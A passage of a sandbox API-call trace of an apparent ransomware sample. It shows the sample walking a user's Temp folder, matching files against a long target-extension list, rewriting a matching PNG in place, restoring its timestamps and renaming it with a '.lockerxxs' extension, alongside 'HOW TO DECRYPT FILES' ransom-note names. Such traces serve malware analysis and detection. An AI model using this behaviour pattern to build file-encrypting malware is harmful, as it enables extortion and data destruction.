ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="zW5-14Njz8Hs-XCyI_Y.png") returned -1 [0086.847] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="zW5-14Njz8Hs-XCyI_Y.png") returned -1 [0086.847] lstrcmpiA (lpString1="", lpString2="zW5-14Njz8Hs-XCyI_Y.png") returned -1 [0086.847] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yQt5364u5kCBxNU.exe") returned="yQt5364u5kCBxNU.exe" [0086.847] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.847] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.847] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.847] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.847] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="zW5-14Njz8Hs-XCyI_Y.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.ems") returned 0 [0086.847] lstrlenA (lpString="*.ems") returned 5 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.db") returned 0 [0086.847] lstrlenA (lpString="*.db") returned 4 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.dbf") returned 0 [0086.847] lstrlenA (lpString="*.dbf") returned 5 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.myox") returned 0 [0086.847] lstrlenA (lpString="*.myox") returned 6 [0086.847] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.myo") returned 0 [0086.848] lstrlenA (lpString="*.myo") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qbw") returned 0 [0086.848] lstrlenA (lpString="*.qbw") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qbb") returned 0 [0086.848] lstrlenA (lpString="*.qbb") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qbm") returned 0 [0086.848] lstrlenA (lpString="*.qbm") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qbo") returned 0 [0086.848] lstrlenA (lpString="*.qbo") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qbx") returned 0 [0086.848] lstrlenA (lpString="*.qbx") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qba") returned 0 [0086.848] lstrlenA (lpString="*.qba") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qby") returned 0 [0086.848] lstrlenA (lpString="*.qby") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qbj") returned 0 [0086.848] lstrlenA (lpString="*.qbj") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.ofx") returned 0 [0086.848] lstrlenA (lpString="*.ofx") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.qif") returned 0 [0086.848] lstrlenA (lpString="*.qif") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.mye") returned 0 [0086.848] lstrlenA (lpString="*.mye") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.mbox") returned 0 [0086.848] lstrlenA (lpString="*.mbox") returned 6 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.eml") returned 0 [0086.848] lstrlenA (lpString="*.eml") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.pst") returned 0 [0086.848] lstrlenA (lpString="*.pst") returned 5 [0086.848] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.ost") returned 0 [0086.849] lstrlenA (lpString="*.ost") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.idx") returned 0 [0086.849] lstrlenA (lpString="*.idx") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.dbx") returned 0 [0086.849] lstrlenA (lpString="*.dbx") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.sql") returned 0 [0086.849] lstrlenA (lpString="*.sql") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.mdb") returned 0 [0086.849] lstrlenA (lpString="*.mdb") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.fdb") returned 0 [0086.849] lstrlenA (lpString="*.fdb") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.wab") returned 0 [0086.849] lstrlenA (lpString="*.wab") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.dat") returned 0 [0086.849] lstrlenA (lpString="*.dat") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.txt") returned 0 [0086.849] lstrlenA (lpString="*.txt") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.jpeg") returned 0 [0086.849] lstrlenA (lpString="*.jpeg") returned 6 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.jpg") returned 0 [0086.849] lstrlenA (lpString="*.jpg") returned 5 [0086.849] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", pszSpec="*.png") returned 1 [0086.849] lstrlenA (lpString="*.png") returned 5 [0086.849] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" [0086.849] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" [0086.849] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png." [0086.849] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png.lockerxxs" [0086.849] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zw5-14njz8hs-xcyi_y.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.850] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13ab2 [0086.850] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xf31834b0, dwHighDateTime=0x1d5ddfa), lpLastAccessTime=0x407536*(dwLowDateTime=0x51164c20, dwHighDateTime=0x1d5e475), lpLastWriteTime=0x40753e*(dwLowDateTime=0x51164c20, dwHighDateTime=0x1d5e475)) returned 1 [0086.850] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.850] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13a8c, lpOverlapped=0x0) returned 1 [0086.852] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png") returned="zW5-14Njz8Hs-XCyI_Y.png" [0086.852] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.852] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13a8c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13a8c, lpOverlapped=0x0) returned 1 [0086.853] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.853] CloseHandle (hObject=0x90) returned 1 [0086.853] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zw5-14njz8hs-xcyi_y.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zw5-14njz8hs-xcyi_y.png.lockerxxs")) returned 1 [0086.854] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc12b6660, ftCreationTime.dwHighDateTime=0x1d5d883, ftLastAccessTime.dwLowDateTime=0x2cd35cb0, ftLastAccessTime.dwHighDateTime=0x1d5e563, ftLastWriteTime.dwLowDateTime=0x2cd35cb0, ftLastWriteTime.dwHighDateTime=0x1d5e563, nFileSizeHigh=0x0, nFileSizeLow=0xb32, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="_bRYdAuy-LeItWTqOhkX.m4a", cAlternateFileName="_BRYDA~1.M4A")) returned 1 [0086.854] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.854] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_bRYdAuy-LeItWTqOhkX.m4a") returned 1 [0086.854] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_bRYdAuy-LeItWTqOhkX.m4a") returned 1 [0086.854] lstrcmpiA (lpString1="", lpString2="_bRYdAuy-LeItWTqOhkX.m4a") returned -1 [0086.854] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zW5-14Njz8Hs-XCyI_Y.png") returned="zW5-14Njz8Hs-XCyI_Y.png" [0086.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.854] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.854] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.855] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.855] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="_bRYdAuy-LeItWTqOhkX.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.ems") returned 0 [0086.855] lstrlenA (lpString="*.ems") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.db") returned 0 [0086.855] lstrlenA (lpString="*.db") returned 4 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.dbf") returned 0 [0086.855] lstrlenA (lpString="*.dbf") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.myox") returned 0 [0086.855] lstrlenA (lpString="*.myox") returned 6 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.myo") returned 0 [0086.855] lstrlenA (lpString="*.myo") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qbw") returned 0 [0086.855] lstrlenA (lpString="*.qbw") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qbb") returned 0 [0086.855] lstrlenA (lpString="*.qbb") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qbm") returned 0 [0086.855] lstrlenA (lpString="*.qbm") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qbo") returned 0 [0086.855] lstrlenA (lpString="*.qbo") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qbx") returned 0 [0086.855] lstrlenA (lpString="*.qbx") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qba") returned 0 [0086.855] lstrlenA (lpString="*.qba") returned 5 [0086.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qby") returned 0 [0086.855] lstrlenA (lpString="*.qby") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qbj") returned 0 [0086.856] lstrlenA (lpString="*.qbj") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.ofx") returned 0 [0086.856] lstrlenA (lpString="*.ofx") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.qif") returned 0 [0086.856] lstrlenA (lpString="*.qif") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mye") returned 0 [0086.856] lstrlenA (lpString="*.mye") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mbox") returned 0 [0086.856] lstrlenA (lpString="*.mbox") returned 6 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.eml") returned 0 [0086.856] lstrlenA (lpString="*.eml") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.pst") returned 0 [0086.856] lstrlenA (lpString="*.pst") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.ost") returned 0 [0086.856] lstrlenA (lpString="*.ost") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.idx") returned 0 [0086.856] lstrlenA (lpString="*.idx") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.dbx") returned 0 [0086.856] lstrlenA (lpString="*.dbx") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.sql") returned 0 [0086.856] lstrlenA (lpString="*.sql") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mdb") returned 0 [0086.856] lstrlenA (lpString="*.mdb") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.fdb") returned 0 [0086.856] lstrlenA (lpString="*.fdb") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.wab") returned 0 [0086.856] lstrlenA (lpString="*.wab") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.dat") returned 0 [0086.856] lstrlenA (lpString="*.dat") returned 5 [0086.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.txt") returned 0 [0086.857] lstrlenA (lpString="*.txt") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.jpeg") returned 0 [0086.857] lstrlenA (lpString="*.jpeg") returned 6 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.jpg") returned 0 [0086.857] lstrlenA (lpString="*.jpg") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.png") returned 0 [0086.857] lstrlenA (lpString="*.png") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.php") returned 0 [0086.857] lstrlenA (lpString="*.php") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.cs") returned 0 [0086.857] lstrlenA (lpString="*.cs") returned 4 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.cpp") returned 0 [0086.857] lstrlenA (lpString="*.cpp") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.rar") returned 0 [0086.857] lstrlenA (lpString="*.rar") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.zip") returned 0 [0086.857] lstrlenA (lpString="*.zip") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.html") returned 0 [0086.857] lstrlenA (lpString="*.html") returned 6 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.htm") returned 0 [0086.857] lstrlenA (lpString="*.htm") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.xlsx") returned 0 [0086.857] lstrlenA (lpString="*.xlsx") returned 6 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.xls") returned 0 [0086.857] lstrlenA (lpString="*.xls") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mp4") returned 0 [0086.857] lstrlenA (lpString="*.mp4") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.ppt") returned 0 [0086.857] lstrlenA (lpString="*.ppt") returned 5 [0086.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.pptx") returned 0 [0086.858] lstrlenA 